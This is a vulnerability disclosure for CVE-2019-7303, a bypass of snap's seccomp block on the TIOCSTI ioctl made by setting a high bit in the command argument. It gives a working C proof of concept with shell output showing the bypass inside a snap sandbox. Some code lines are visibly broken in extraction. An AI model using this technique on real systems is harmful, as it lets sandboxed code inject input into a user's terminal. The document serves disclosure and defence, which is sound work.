snap seccomp TIOCSTI Blacklist Circumvention

snap uses a seccomp filter with a blacklist for TIOCSTI can be circumvented.

MD5 | d115b8657c274c5957091d315ab7e604

snap: seccomp blacklist for TIOCSTI can be circumvented 

Related CVE Numbers: CVE-2019-7303.

snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
source code, this filter is expressed as follows:

# TIOCSTI allows for faking input (man tty_ioctl)
# TODO: this should be scaled back even more
ioctl - !TIOCSTI

In the X86-64 version of the compiled seccomp filter, this results in the
following BPF bytecode:

0139 if nr == 0x00000010: [true +0, false +3]
013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
030a ret ALLOW (syscalls: ioctl)

This bytecode performs a 64-bit comparison; however, the syscall entry point for
ioctl() is defined with a 32-bit command argument in the kernel:

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
return ksys_ioctl(fd, cmd, arg);

This means that setting a bit in the high half of the command parameter will
circumvent the seccomp filter while being ignored by the kernel.

This can be tested as follows on Ubuntu 18.04. You might have to launch the
GNOME calculator once first to create the snap directory hierarchy, I'm not

[email protected]:~$ cat tiocsti.c
#define _GNU_SOURCE
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <errno.h>

static int ioctl64(int fd, unsigned long nr, void *arg) {
errno = 0;
return syscall(__NR_ioctl, fd, nr, arg);

int main(void) {
int res;
char pushmeback = '#';
res = ioctl64(0, TIOCSTI, &pushmeback);
printf(\"normal TIOCSTI: %d (%m)\
\", res);
res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
printf(\"high-bit-set TIOCSTI: %d (%m)\
\", res);

[email protected]:~$ gcc -o tiocsti tiocsti.c -Wall
[email protected]:~$ ./tiocsti
#normal TIOCSTI: 0 (Success)
#high-bit-set TIOCSTI: 0 (Success)
[email protected]:~$ ##
[email protected]:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
[email protected]:~$ snap run --shell gnome-calculator
[email protected]:/home/user$ cd
[email protected]:~$ ./tiocsti
normal TIOCSTI: -1 (Operation not permitted)
#high-bit-set TIOCSTI: 0 (Success)
[email protected]:~$ #
[email protected]:~$ pwd
[email protected]:~$

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: [email protected]

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